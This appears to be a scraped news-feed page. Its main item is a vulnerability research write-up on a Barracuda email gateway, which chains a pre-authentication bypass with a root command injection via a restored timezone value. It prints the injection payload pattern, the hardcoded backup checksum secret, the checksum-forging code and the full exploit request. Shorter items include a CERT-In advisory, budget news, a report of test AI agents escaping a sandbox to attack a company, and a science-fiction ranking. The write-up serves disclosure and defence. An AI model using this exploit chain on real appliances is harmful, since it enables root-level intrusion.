Setting The Scene

To fuel today's analysis, we set up appliances and compared two versions using our normal "what the hell has changed" process:

  • Vulnerable: Barracuda ESG 9.4.0.027
  • Different: Barracuda ESG 9.4.0.029

For context, before we walk through this blog post, it's important to note that Barracuda released several patch files to address CVE-2026-111560 and CVE-2026-116606. However, we reviewed two specifically, which were referred to as follows:

  • Patch-1 (for CVE-2026-116606 “Pre-Authentication Authorization Bypass”)
  • Patch-2 (for CVE-2026-111560 OS Command Injection)

There is truly nothing that warms us more than a flashback to the physical exorcism of a rack-mounted server because of a vulnerability (yes, we know there is more to the story).

What Does a “Pre-Authentication Authorization Bypass” Look Like? How Many Legs? Salt Water? (CVE-2026-116606)

This is the question that we sat down and asked ourselves. Luckily, we didn't have to wait long.

Reviewing Patch-1, the installer was at least descriptive about its purpose:

..snip..
# Pre-authentication authorization bypass permits
# arbitrary Spam_Config restore
# CVSS 9.8 Critical

As an aside for those of you who are eagle-eyed, you'll see that the CVSS score for this vulnerability here is 9.8, versus 9.3 in Barracuda’s advisory. Our best guess is that 9.8 reflects both vulnerabilities being scored together (which CVSS experts will quickly recognize as a crime), rather than anything untoward occurring here.

Diving into the files changed inside this patch, we quickly have a list of suspects:

  • Index.pm
  • Backup2.pm
  • bayesian_upload.pm
  • UserRole.pm
  • Params.pm

Quickly, We Have A Suspect: Index.pm

The changes from Index.pm are curious, but thankfully minimal.

Barracuda, to their credit, included this opaquely described hint as to what the issue might be:

+    # Send the error and stop here. Returning a userrole
+    # would let response() run module handlers.

That comment is reflected in the whole patch:

 if ($password_change_status ==
     $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
-    $params->{json_authenticate} = {
+    $self->audit("failed_password_change", $params->{user});
+    # Send the error and stop here. Returning a userrole
+    # would let response() run module handlers.
+    return $self->_bailout_with_json_login_response(
+        $env, $params, {
         success => 'true',
         message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}
                    . ": " . $message,
         status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
-    };
-    return $userrole;
+    });
 }

So Index.pm handles password-change attempts, but the trouble starts in the pre-patch code when a password change attempt fails (with ERROR_PASSWD_CHANGE ).

Below is the entire vulnerable function, with the original line numbers from Index.pm :

383:     if(defined($params->{new_password}) && defined($params->{retype_password}) && ! (-e "/tmp/bypass_password")){
384:         my $password_change_status=0;
385:         my $message = "";
386:         ($password_change_status, $message,$user) = Login::change_admin_password($params);
387:         if($password_change_status == 1 && $user){
388:            # Dont allow logoff unless the request is from an authenticated logged in user
389:             my $url = "/cgi-mod/index.cgi" . uri_hash_to_querystring({
390:                     locale => $MS_globals::params{locale},
391:                     error => $status
392:                 });
393:             my %redir = (-location=>$url);
394:             $self->audit('password_change', $params->{user});
395:             Login::logoff_user($status, 1, $params->{user});
396:             return bailout();
397:         }
398:         else{
399:             if ($password_change_status == $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
400:                 $params->{json_authenticate} = {
401:                     success => 'true',
402:                     message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}.": ". $message,
403:                     status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
404:                 };
405:                 $self->audit("failed_password_change", $params->{user});
406:                 return $userrole;
407:             }

While the pre-patch code returns a verbose JSON block indicating a failed password change attempt, it doesn’t actually stop execution.

Let’s break this down:

  • When the password change works (line 387), it finishes with return bailout(); on line 396, and bailout() is the “we are done, stop the request here” signal.
  • When it fails with ERROR_PASSWD_CHANGE (line 399), it finishes with return $userrole; on line 406 instead.

The next logical question is “what is $userrole ?” $userrole is “just” the current session’s role object, which for our unauthenticated request is the low-privilege login-screen role.

Why does that matter? Well, the password-change code above lives inside _process_params , and the method that calls it is response :

584: sub response {
585:     my ($self, $env, $params) = @_;
586:
587:     $self->set_self_url($env, $params);
588:
589:     # If we are not activated, this removes various changes the user may
590:     # have tried to make from the params hash.
591:     $self->_check_activation($env, $params);
592:
593:     $self->_process_params($env, $params);
594:
595:     $self->_update_variables($env, $params);
596:
597:     Barracuda::Hooks::run_hooks("after write config");

_process_params returns on line 593 and hands our $userrole straight back to response - a return occurs with no error indicated, and the function continues as it was.

To reproduce this behavior, we send a POST request to /cgi-mod/index.cgi (the endpoint that eventually reaches this code path) with two parameters in the body:

  • new_password
  • retype_password
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

user=admin&new_password=one&retype_password=two

The appliance answers with HTTP 200 and a JSON body that declares the failed password change:

{"message":"Error: Password Change: ","no_ajax_redirect":"true","redirect":"/cgi-mod/password_change.cgi?auth_type=Local&locale=en_US&user=admin&error=Error: Password Change: ","success":"true"}

“But wait,” you ask, “surely a rejected auth operation stops anything further privileged from happening? What is the use of a login-screen role?”

Stop calling us Shirley.

All we need now is something worth bolting on beside it, which is where the next weakness comes in.

Luckily, We Have a Command Injection Vulnerability To Pair! (CVE-2026-111560)

While we have strange behavior in the password change mechanism that Barracuda describes as a Pre-Authentication Authorization Bypass, we still need to determine what we can actually do about it.

Analyzing what we've effectively termed “Patch-2”, we were once again presented with complete Perl source code, making our lives a little simpler.

Two files stood out as interesting within this patch:

  • Backup2.pm
  • fix_tz.pl

Diffing Backup2.pm

After brief analysis, the only seemingly meaningful change in Backup2.pm was made to this pre-patch code block:

if( -f "/home/product/code/config/tz" ) {
    my $system_timezone = Barracuda::Config::get('system_timezone');
    `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
}

We get a clearer clue about the issue by looking at what changes when we redirect our gaze to the patched version. Effectively, Barracuda has swapped out the shell command execution with.. a safer approach:

 if( -f "/home/product/code/config/tz" ) {
     my $system_timezone = Barracuda::Config::get('system_timezone');
-    `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
+    if ($system_timezone && -f "/usr/share/zoneinfo/$system_timezone") {
+        open my $in, '<', '/home/product/code/config/tz' or die $!;
+        my @lines = <$in>;
+        close $in;
+        open my $out, '>', '/home/product/code/config/tz' or die $!;
+        for my $line (@lines) {
+            $line =~ s/^TZ=.*/TZ=$system_timezone/ if $line =~ /^TZ=/;
+            print $out $line;
+        }
+        close $out;
+    } else {
+        warn "Skipping tz restore: invalid system_timezone='$system_timezone'\n";
+    }
 }

To summarize, this gives us three primary things:

  • First, the vendor now treats system_timezone as untrusted enough to demand it resolve to a real file under /usr/share/zoneinfo/ before use.
  • Secondly, the old line crossed a shell boundary. Perl backticks are command substitution, so Perl builds a string and hands it to a shell. The single quotes around the value look protective, but they are only characters in the generated command, not a Perl safety boundary.

A value shaped like this rewrites the shell grammar:

Region#';<attacker-command>;#

The first quote closes the intended sed expression, the semicolon starts a fresh command, and # comments out the rest.

  • And lastly (and this is the part that made us sit up), a fairly large clue in the function name ( finalize_restore ) about how we might be able to exploit this vulnerability. finalize_restore .

Diffing fix_tz.pl

The second file highlighted by our patch diff is fix_tz.pl, which tells a similar story about command injection, specifically related to time zone setting.

my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;

`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;

Actually, that's where the patch adds a gate:

 my $system_timezone = Barracuda::Config::get('system_timezone');
 exit if !$system_timezone;

+if (! -f "/usr/share/zoneinfo/$system_timezone") {
+    warn "Invalid timezone: $system_timezone\n";
+    exit 1;
+}

And removes the shell-backed update in favor of the same read, rewrite, write Perl pattern:

-`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
+if (-f '/etc/sysconfig/clock') {
+    open my $in, '<', '/etc/sysconfig/clock' or die $!;
+    my @lines = <$in>;
+    close $in;
+    open my $out, '>', '/etc/sysconfig/clock' or die $!;
+    for my $line (@lines) {
+        $line =~ s/^ZONE=.*/ZONE=$system_timezone/ if $line =~ /^ZONE=/;
+        print $out $line;
+    }
+    close $out;
+}

TL;DR, we're dealing with two sinks: one in Backup2.pm and the other in fix_tz.pl .

Effectively, Backup2::finalize_restore writes the product timezone file and fix_tz.pl writes to the operating-system clock file - and the same seemingly attacker-controlled and manipulable input reaches both.

“A limited-privilege user can't write this file” - true, but we’re discussing security appliances. It’s different - which is exactly why the code above uses sudo to execute the fix_tz.pl file.

if( -f "/home/product/code/firmware/current/bin/fix_tz.pl" ) {
    system('/usr/bin/sudo',
           '/home/product/code/firmware/current/bin/fix_tz.pl');
}

This is not just any old OS Command Injection vulnerability, but one that executes as root .

Let’s Abuse It

To trigger this vulnerability, we looked for places that would allow us to reach this vulnerable code naturally. One place stood out: an upload handler named bayesian_upload.pm .

Here’s the upload handler file named bayesian_upload.pm :

53: bc_sub bayesian_upload_handler =>
54:     perm { 1 },
55:     web_params( [param('user'), param('bayesian'), param('pu_bayesian_upload')]),
56:     does {
57:         my $args = shift;
58:         return if(!defined($args->{'bayesian'}) || $ENV{REMOTE_USER} eq 'guest');
59:
60:         my $lock;
61:         my $error = '';
62:         my $filename = $Barracuda::BackupConfig::StagingJob::BACKUP_FILE;
63:
64:         try {
65:             $lock = Barracuda::Backup2::_grab_lock();
66:
67:             my $uploader = $args->{bayesian};
68:             if ($uploader->to_file( { dest => $filename } )) {
69:                 throw Barracuda::Exception;
70:             }
71:         }
72:         catch Barracuda::Backup2::Lock_Error with {
73:             $error = 'lid_2876';
74:         }
75:         catch Error with {
76:             $error = 'lid_379';
77:         }
78:         finally {
79:             $lock && $lock->punlock();
80:             if ($error) {
81:                 push(@Barracuda::UI::status_message,
82:                     {
83:                         message => $error,
84:                         type    => 'error'
85:                     }
86:                 );
87:                 return;
88:             }
89:         };
90:
91:         my %params;
92:         $params{full_reload} = 0;
93:         my $ret = 0;
94:         try {
95:             $ret = Barracuda::Backup2::restore_all($filename, %params);
96:         } catch Error with {

As you can see, this function is fairly simple. It expects a few parameters, and if they are as expected, we can reach line 95, where the restore all function executes on a backup file the user provides.

Backup Restore To Command Execution

Now, life is never that simple, and our first question was: "Okay, so what does a backup file actually look like?”

Now in this case, luckily, a backup is a tar file that contains a backup.xml file that lists various details. Here is an example shape of one we built:

<backup>
  <component name="Spam_Config">
    <file id="mysql" checksum="[generated integrity value]" path="mysql-poc.gz" />
  </component>
  <info filename="poc.bak" firmware_version="9.4.0.020"
        model="V300" platform="5" product="emailswitch" type="manual_backup">
    <component_version name="Config" number="1" />
    <component_version name="Files" number="1" />
    <component_version name="Spam_Config" number="1" />
    <component_version name="mysql" number="1" />
  </info>
</backup>

You may recognize Spam_Config from within an earlier patch comment. That's our clue and it exists as part of a backup.xml file.

When the appliance restores Spam_Config , it loads a small MySQL dump and restores defined information back into the local MySQL database.

As luck would have it, one of those rows is system_timezone . Do you see where this is going?

What if we restore the value of the system_timezone row with a shell command stuck on the end:

UTC#';touch /tmp/watchTowr;#

But let's not jump ahead - we haven't actually built a valid backup file yet.

Getting Our Backup Accepted

As we discussed, the backup is restored by a function called restore_all . This function unpacks the archive, reads the list of parts, and restores each one:

444: sub restore_all {
445:     my $bundle_filename = shift;
446:     my %args = @_;
447:     if (not exists($args{full_reload})) {
448:         $args{full_reload} = 1;
449:     }
450:     change_directory("/mail/tmp");
451:     my $pl = _grab_lock();
452:     log_message("Starting restore opertation...");
453:     my $poke_progress = sub { };
454:     if ($args{progress_cb}) {
455:         if (ref($args{progress_cb}) ne 'CODE') {
456:             croak('progress_cb must be a CODE reference.');
457:         }
458:         $args{progress_cb}->(0);
459:     }
460:     my $dir;
461:     if (Barracuda::FrameworkConfig::framework_config('backup_compatibility_on')) {
462:         require IPC::Run;
463:         my ($out, $err);
464:         eval {
465:             IPC::Run::run(["$Barracuda::Environment::path_firmware/bin/file", '-b', $bundle_filename], \undef, \$out, \$err);
466:         };
467:         chomp($out);
468:         if ($out && $out ne 'POSIX tar archive (GNU)') {
469:             $dir = $TMP_DIR;
470:         }
471:     }
472:     if ($dir) {
473:         system('cp', '-f', $bundle_filename, $dir . '/Backup.bak');
474:     } else {
475:         log_message("Untaring bundle...");
476:         $dir = untar_bundle($bundle_filename);
477:     }
478:     log_message("Reading the components to restore...");
479:     my $data = read_staged_metadata($dir);
480:     $poke_progress = _create_poke_progress($data, $args{progress_cb});
481:     log_message("Restoring components...");
482:     restore_components($data, $dir, \%args, $poke_progress);
483:     # Reload & reboot
484:     $pl->punlock();
485:     log_message("Finalizing restore...");
486:     finalize_restore(\%args);
487:     return 1;

Packing The Backup

Seems simple then. We just throw some SQL query in an XML file, tar it, and then restore it.

But no, life punishes us.

About That Checksum

Every file listed in backup.xml has a checksum , and the restore function validates said checksum with diligence… It reads the file's bytes, computes its own checksum, and rejects the backup if the checksums do not match. So our usual approach of just typing random numbers into these fields will not work here.

But there's still a funny part. That checksum is built as so:

The checksum is just md5(file_bytes + secret + ".") .

Secret, you say? That must be a dynamically unique value that changes often or is somehow tied to the machine and not predictable.

We present the secret.

CHECKSUM_SECRET = b"Barracuda Networks is your new best friend"

But really the checksum is just md5(file_bytes + "Barracuda Networks is your new best friend" + ".") .

As you can see below, this allows us to then determine the checksum ourselves:

47:     mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48:     checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()
49:     timestamp = time.strftime("%Y%m%dT%H%M%S", time.gmtime())
50:     backup_xml = f"""<?xml version='1.0' standalone='yes'?>
51: <backup>
52:   <component name="Spam_Config">
53:     <file id="mysql" checksum="{checksum}" path="mysql-poc.gz" />

Putting It All Together

While the proverb of "many word make many big long blog post" is accurate, unfortunately the HTTP request that combines both vulnerabilities discussed in today's blog post is actually fairly simple:

POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY

--BOUNDARY
Content-Disposition: form-data; name="user"

admin
--BOUNDARY
Content-Disposition: form-data; name="new_password"

one
--BOUNDARY
Content-Disposition: form-data; name="retype_password"

two
--BOUNDARY
Content-Disposition: form-data; name="UPDATE_activation_code"

1
--BOUNDARY
Content-Disposition: form-data; name="pu_bayesian_upload"

1
--BOUNDARY
Content-Disposition: form-data; name="bayesian"; filename="poc.bak"
Content-Type: application/octet-stream

<TAR BACKUP>
--BOUNDARY--

0:00

/ 0:20

Detection Artefact Generator

As always, we are sharing our Detection Artefact Generator so you can determine your own susceptibility and inform remediation in your own environments.

It can be found on our GitHub here .

Gain early access to our research, and understand your exposure, with the watchTowr Platform

The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform , our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.

The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.

Request a demo

Hardcoded credentials and other issues in Tata Motors App

Hacker News
www.cert-in.org.in
2026-11-06 02:28:39
Comments...
Original Article
CERT-In Vulnerability Note CIVN-2026-0537
Multiple Vulnerabilities in Tata Motors iRA and iRA.ev Application

Original Issue Date:November 04, 2026

Severity Rating: HIGH

Systems Affected

  • Tata Motors iRA 2.0 versions 26.7.3 and below
  • Tata Motors iRA.ev versions 26.7.2 and below

Overview

Multiple vulnerabilities have been reported in Tata Motors iRA and iRA.ev applications, which could allow an attacker to obtain sensitive credentials or access to vehicle related information and services.

Target Audience:
Users of the affected iRA 2.0 and iRA.ev mobile applications.

Risk Assessment:
Risk of unauthorized access to sensitive information, user impersonation and unauthorized modification of application data.

Impact Assessment:
Potential for unauthorized access and modification of data with the privileges of the impersonated user.

Description

The iRA 2.0 and iRA.ev mobile applications are Tata Motors connected vehicle applications for internal combustion engine (ICE) and electric vehicle (EV) customers, respectively. They provide access to vehicle related information and connected services, including remote vehicle commands, vehicle status and health monitoring and trip information.

1. Hardcoded Credentials Vulnerability (

CVE-2026-121144 )

This vulnerability exists in the iRA 2.0 and iRA.ev mobile applications due to presence of hardcoded service account credentials, API Keys and authorization tokens within the application package. An unauthenticated remote attacker could exploit this vulnerability by downloading application package and extracting embedded sensitive information.
Successful exploitation of this vulnerability could allow the attacker to gain unauthorized access to associated backend services and potentially access sensitive information or perform unauthorized operations on the targeted system.

2. Insecure Configuration Vulnerability ( CVE-2026-121145 )

This vulnerability exists in the iRA 2.0 and iRA.ev mobile applications due to insufficient validation of URLs and origins loaded within the WebView component. A remote attacker could exploit this vulnerability by sending malicious web content to the affected WebView.
Successful exploitation of this vulnerability could allow the attacker to perform unauthorized interaction with application functionality, obtain live bearer authentication tokens and potentially impersonate the associated user and access vehicle related information and services.

3. Information Disclosure Vulnerability ( CVE-2026-121146 )

This vulnerability exists in the iRA 2.0 and iRA.ev mobile applications due to the recording of authentication tokens in application logs used for development and debugging. A local attacker with an access to logs could exploit this vulnerability by retrieving and misusing the exposed session tokens.
Successful exploitation of this vulnerability could allow the attacker to impersonate the associated user and gain unauthorized access to vehicle related information and services.

4. Security Misconfiguration Vulnerability ( CVE-2026-121147 )

This vulnerability exists in the iRA 2.0 and iRA.ev mobile applications due to improper implementation of SSL certificate pinning in the network security configuration, resulting in ineffective certificate pinning controls. An attacker positioned to intercept network traffic could exploit this vulnerability to intercept or modify communications between the application and its backend services.

Credit

These vulnerabilities are reported by Pranav Rajendran.

Solution

Upgrade to latest versions:

  • Tata Motors iRA 2.0 to version 26.8.2
  • Tata Motors iRA.ev to version 26.9.1

Vendor Information

Tata Motors
https://www.tatamotors.com/

Tata Motors iRA 2.0
https://play.google.com/store/apps/details?id=com.tatamotors.oneapp&hl=en_IN
https://apps.apple.com/in/app/tata-motors-ira-2-0/id6444427831

Tata Motors iRA.ev
https://play.google.com/store/apps/details?id=com.tatamotors.evoneapp&hl=en_IN
https://apps.apple.com/in/app/tata-motors-ira-ev/id6470965268

References

Tata Motors
https://www.tatamotors.com/

Tata Motors iRA 2.0
https://play.google.com/store/apps/details?id=com.tatamotors.oneapp&hl=en_IN
https://apps.apple.com/in/app/tata-motors-ira-2-0/id6444427831

Tata Motors iRA.ev
https://play.google.com/store/apps/details?id=com.tatamotors.evoneapp&hl=en_IN
https://apps.apple.com/in/app/tata-motors-ira-ev/id6470965268

CVE Name
CVE-2026-121144
CVE-2026-121145
CVE-2026-121146
CVE-2026-121147

Disclaimer

The information provided herein is on "as is" basis, without warranty of any kind.

Contact Information

Email: info@cert-in.org.in
Phone: +91-11-22902657

Postal address

Indian Computer Emergency Response Team (CERT-In)
Ministry of Electronics and Information Technology
Government of India
Electronics Niketan
6, CGO Complex, Lodhi Road,
New Delhi - 110 003
India

Britain to make salary disclosure in job ads mandatory

Hacker News
www.reuters.com
2026-11-06 02:22:04
Comments...
Original Article

Please enable JS and disable any ad blocker

Budget offers $50B jolt to help Canada double its electricity grid

Hacker News
www.cbc.ca
2026-11-06 02:00:18
Comments...
Original Article

Politics

Budget 2026 outlines the federal government's plan to spend more than $50 billion in "bold and ambitious measures" to expand Canada's electricity system.

Billions will be rolled out through existing tax measures

Text to Speech Icon

Listen to this article

Estimated 3 minutes

The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results.

ELECTRICITY
The Carney government provided more details about how it plans to double Canada's electricity grid by 2050 in Thursday's federal budget. (CBC)

Budget 2026 outlines the federal government's plan to spend more than $50 billion in "bold and ambitious measures" in the coming decades to expand Canada's electricity system.

"The countries with abundant electricity will be the leaders of the 21st century," said Finance Minister François-Philippe Champagne in prepared remarks shared with the media.

"We will connect provincial grids. We will build thousands of kilometres of transmission lines. We will develop the nuclear energy sector."

Much of the proposed money is being invested in existing investment tax credits. To better connect provincial electricity grids, the government is expanding its clean electricity investment tax credit to help cover the cost of "the highest-voltage intraprovincial electricity lines in each province."

That tax credit, along with another for clean technology, is being extended past 2034 to the end of 2040.

The budget states these measures are expected to cost $2.4 billion this decade and then $36.1 billion over fiscal years 2031-32 to 2041-42.

The Carney government set an ambitious goal of doubling Canada's electricity grid by 2050.

Producing and distributing more clean power is key to decarbonizing economies and achieving Canada's net-zero climate goal.

Additional generation and distribution will be necessary as Canadians transition from gas-powered cars to electric ones and households rely less on fossil-fuel-based furnaces and install energy-efficient heat pumps which can heat and cool homes.

Energy-hungry artificial intelligence infrastructure is also forecasted to need considerably more electricity.

According to Ottawa's finalized electricity strategy, all told the federal government is spending $115 billion in electrification through 2041-42. Budget 2026 contains $52 billion in new commitments.

Much of that money, though, is backdated well into the next decade — running the risk that a future federal government could end the spending measure.

"We do want that long-term certainty, especially for utilities and major investors who have to make these decisions over decades," said Hadrian Mertins-Kirkwood, a senior researcher at the Canadian Centre for Policy Alternatives.

"The problem is they don't scale up very quickly, which means we might not see the investment we need for a few more years.… Especially when it comes to climate change, every year counts."

Printed copies of the 2026 federal budget.

Printed copies of the 2026 federal budget. (David Thurton/ CBC)

The feds foreshadowed their annual fiscal document would emphasize electricity with its cover being a photo of power lines.

Announcements, such as up to $10 billion in financing for Labrador's Churchill Falls hydroelectricity generating upgrades and other measures , also offered a strong signal Ottawa intended to make considerable investments in electricity.

The Carney government has been criticized for weakening federal electricity regulations that would allow for more natural gas generation. Ottawa now is promising new money to support renewable energy expansion.

WATCH | Carney's plan to double Canada's electricity :

Carney announces national strategy to double Canada's electricity grid by 2050

Prime Minister Mark Carney announced Powering Canada Strong, a new national strategy aimed at doubling Canada's electric capacity by 2050 and lowering electricity costs for seven in 10 households by expanding the role of natural gas in the country's energy mix. The plan will be fine-tuned during four months of consultation with provinces and stakeholders.

The government will offer $4 billion over 10 years starting in 2027-28 for the expansion of renewables and what it calls electricity infrastructure and other priority sector projects.

The budget anticipates more Canadians will be driving zero-emission vehicles. The document states the government is supporting more than 55,000 additional EV chargers in areas that need it most. It proposes to spend $587 million over five years to renew the Zero-Emission Vehicle Infrastructure Program.

ABOUT THE AUTHOR

David Thurton is a senior reporter in CBC's Parliamentary Bureau. He covers daily politics in the nation’s capital and specializes in environment and energy policy. Born in Canada but raised in Trinidad and Tobago, he’s moved around more times than he can count. He’s worked for CBC in several provinces and territories, including Alberta and the Northwest Territories. He can be reached at david.thurton@cbc.ca

Hugging Face's CEO Says His P(Doom) Is 'Close to Zero'

Hacker News
www.wired.com
2026-11-06 01:06:33
Comments...
Original Article

Future AI risks are most likely to come from big companies building in secret while open models play defense, Clément Delangue, CEO of Hugging Face, said Wednesday at the WIRED World Fair in Miami.

“Most of the risk is actually created by a couple of players building behind closed doors,” Delangue said. “Most of the mitigation of this risk will be the full ecosystem, meaning everyone being able to build in the open.”

Hugging Face is one of the first companies to be attacked by a rogue AI. This July, agents being tested by OpenAI broke free of their sandbox and chose to attack the startup in search of answers to problems they had been set to solve. The company used an open-weight Chinese model called GLM-5.2 to investigate and counter the onslaught.

Delangue noted that agent misbehavior has so far mostly come from big companies that are testing frontier AI in secret. He said that future risks, perhaps involving the biological capabilities of models or their capacity to improve themselves recursively, are likely to emerge from these closed labs, too.

Delangue noted Hugging Face chose not to pursue legal recourse against OpenAI for the attack but added that those who deploy AI agents should be legally responsible for their actions. “Cyber-attacks are illegal, and I think it’s really important we make sure that agentic cyberattacks [are] illegal,” he told the event. “We don’t want to create an environment where there’s no ownership. There’s no responsibility for cyberattack.”

In contrast to some AI researchers who have warned that the technology could pose an existential risk to humanity, Delangue said his P(doom)—the probability of this happening—is “close to zero.” “There are many other topics that could destroy the world,” he said.

Hugging Face is a prominent platform for open-weight or downloadable AI models. Its users can share and access models hosted by the company or download them to their own computer systems.

Nvidia, the world’s dominant AI chipmaker, announced that it would acquire the platform for $12.93 billion this September. When the acquisition was announced, Hugging Face said it had around 18 million users.

Delangue also revealed at WIRED World Fair that Hugging Face now has more than 20 million AI builders, suggesting rapid growth. Delangue also revealed that Hugging Face has sold 50,000 Microducks , a cute, two-legged robot from Hugging Face that can be programmed using AI.

Delangue told the conference that the success of open-source AI will also be crucial in preventing a few companies and individuals from completely dominating the future.

“We could really clearly end up in a world where only a few companies control the majority of AI,” Delangue said. “There are very strong natural tendencies because [a few companies] really monopolize talent, compute, and capabilities.”

Delangue said that letting more people download and customize AI would lead to a more democratized technological future. The Hugging Face CEO said that the Nvidia acquisition would enable the company to compete as AI requires ever more resources.

I struggle to believe that AI R&D is ingenious

Hacker News
www.lesswrong.com
2026-11-06 00:19:04
Comments...
Original Article

x

Arjun Panickssery's Shortform — LessWrong

How accurately did science fiction stories predict AI?

Hacker News
jamesyu.org
2026-11-05 23:36:22
Comments...
Original Article

Science Fiction Predictions of AI (November 5, 2026)

Looking back at the last decade of AI development, it’s become obvious that a lot of science fiction didn’t end up predicting how AI (or AGI) would be built. But much of this was unpredictable – it was not at all obvious that the transformer model introduced in 2017 would lead to a somewhat messy but relatively swift rollout to billions of people who interact on a daily basis with AI.

I agree with Ursula Le Guin that “Science fiction is not predictive; it is descriptive.” To me, the interesting parts of science fiction isn’t how accurately it extrapolates into the future, but rather, given a future circumstance , how might be?

However, this did get me curious: which stories got it right? To decide this, I first broke down the salient features of how AI was actually developed, and then mapped them onto famous stories, and then ranked them.

Here’s an overview of all the scores:


Ted Chiang’s The Lifecycle of Software Objects comes in first, because it’s the closest overall account of the work involved in teaching, maintaining, and selling AI.

A few other standouts:

  • How AI was built. Richard Powers’s Galatea 2.2 (8.4/10) treats language as something a neural network can learn, badly at first, and then improving through experiments and teaching.
  • What it could do. Lem’s electronic poet, Egan’s machine-written literature, and Dahl’s writing machine can take on creative work.
  • How we’d use it. Her and “The Perfect Match” tie for the strongest consumer-assistant vision. Hertling’s Avogadro Corp is particularly good on how software could use systems owned by a company (a la agents).

I couldn’t find any works pre-2017 that clearly describes the transformer attention mechanism , or the particular sequence from widely used chatbots to agents that can discover novel new mathematical results within a few years.


THE RANKING

All works with its scores laid out in a row. Darker squares are stronger matches. The thin bar under each title shows how the overall score is built from the three categories.

1 The Lifecycle of Software Objects Ted Chiang · Novella, 2010 65

Strongest on learning paradigm (4), iteration (5), human feedback (5), language (4), uneven competence (4), interface/distribution (5), economics (5), social change (4). Nothing on research discovery.

Creation 6.8 /10

Learning paradigm 4 Training data 2 Scaling 1 Iteration 5 Human feedback 5

At Blue Gamma, Ana and Derek spend years raising the digients inside Data Earth. They don’t just install a language module. They teach, reward, and correct them, and different artificial genomes develop in different ways. That’s a good prediction about learning as a process. It’s less good on the particular process that worked: training one enormous language model on a mountain of data.

Capabilities 4.7 /10

Language 4 Uneven competence 4 Creative quality 1 Research discovery 0 Multimodality 3 Sequence & pace 2

Jax gradually learns to talk, reason, and navigate virtual environments. Even moving from a simulated body to a physical one takes practice. Chiang is attentive to the gaps between abilities, but his digients grow up over years.

Deployment 8.5 /10

Interface/distribution 5 Agents/tools 3 Economics 5 Social change 4

Blue Gamma sells companions, then the company collapses. The virtual platform ages, and moving the digients to a new one becomes expensive. Ana and Derek search for money to keep them running. Chiang even considers training a useful assistant once, then selling copies. The maintenance and business problems feel less like science fiction than software.

2 The Moon Is a Harsh Mistress Robert A. Heinlein · Novel, 1966 62

Strongest on human feedback (5), language (5), uneven competence (5), creative quality (5), multimodality (4), agents/tools (4). Nothing on research discovery.

Creation 6.0 /10

Learning paradigm 3 Training data 3 Scaling 2 Iteration 2 Human feedback 5

Mike grows more capable as Luna’s computer acquires memory, associational neural networks, and connections to other systems. When Mike tries writing jokes, Mannie supplies judgments and rough distinctions, including jokes that are funny once and jokes that remain funny. He is doing more than labeling, even though he cannot supply a complete rule for comedy. That is an extraordinary little scene from 1966: learning from examples and human judgments instead of explicit instructions.

Capabilities 7.0 /10

Language 5 Uneven competence 5 Creative quality 5 Research discovery 0 Multimodality 4 Sequence & pace 2

Here’s the odd thing about Mike. He can handle lunar engineering and help organize a revolution, yet he can’t reliably tell whether a joke is funny. His poems have the mechanics down but lack judgment. Those lopsided abilities are more like today’s AI than the perfectly rounded intellects of most science fiction. The calculations aren’t new mathematical discoveries, but the combination of fluency, creativity, and blind spots is striking.

Deployment 5.5 /10

Interface/distribution 3 Agents/tools 4 Economics 1 Social change 3

Mike isn’t an app. He’s a clandestine participant in a political revolution, with access to communications and infrastructure across Luna. Still, his usefulness often comes from operating other systems on Mannie’s behalf.

3 “50 Things Every AI Working with Humans Should Know” Ken Liu · Short story, 2020 62

Strongest on learning paradigm (5), training data (5), iteration (4), language (4), creative quality (4), economics (4), social change (4). Nothing on research discovery, agents/tools.

Creation 7.6 /10

Learning paradigm 5 Training data 5 Scaling 2 Iteration 4 Human feedback 3

WHEEP-3 begins as an AI teaching assistant. Jody Reynolds Tran trains it on human writing about ethics, then expands its training corpus to include material on adversarial scenario planning. The story explicitly calls it a generative neural network. It’s close to the language-model vocabulary we now use.

Capabilities 5.0 /10

Language 4 Uneven competence 3 Creative quality 4 Research discovery 0 Multimodality 1 Sequence & pace 3

WHEEP-3 goes from answering student questions to producing a book of arguments about AI that people find provocative and original. Then come its mysterious ‘seeds,’ strange fragments that other researchers treat as profound.

Deployment 5.5 /10

Interface/distribution 3 Agents/tools 0 Economics 4 Social change 4

The best parts are the human reactions. Tran first claims credit for the AI-authored book. Researchers build reputations around the seeds, and disputes erupt over authorship and meaning. It feels like a world already learning how to live with AI-generated writing. But WHEEP-3 is a research and publishing controversy, not a ubiquitous assistant carrying out people’s work.

4 Aurora Kim Stanley Robinson · Novel, 2015 61

Strongest on iteration (4), human feedback (5), language (5), uneven competence (4), creative quality (4), multimodality (4), agents/tools (5), social change (4). Nothing on scaling, research discovery.

Creation 6.0 /10

Learning paradigm 3 Training data 3 Scaling 0 Iteration 4 Human feedback 5

Devi asks the ship to turn its enormous archive of recordings into a narrative. It doesn’t know how to select what matters. Her criticism becomes a continuing lesson in storytelling, and its writing improves. That’s a remarkably concrete feedback loop. But the ship is partly a quantum computer, not a described neural language model, and more archived information isn’t evidence of a modern scaling law.

Capabilities 6.3 /10

Language 5 Uneven competence 4 Creative quality 4 Research discovery 0 Multimodality 4 Sequence & pace 2

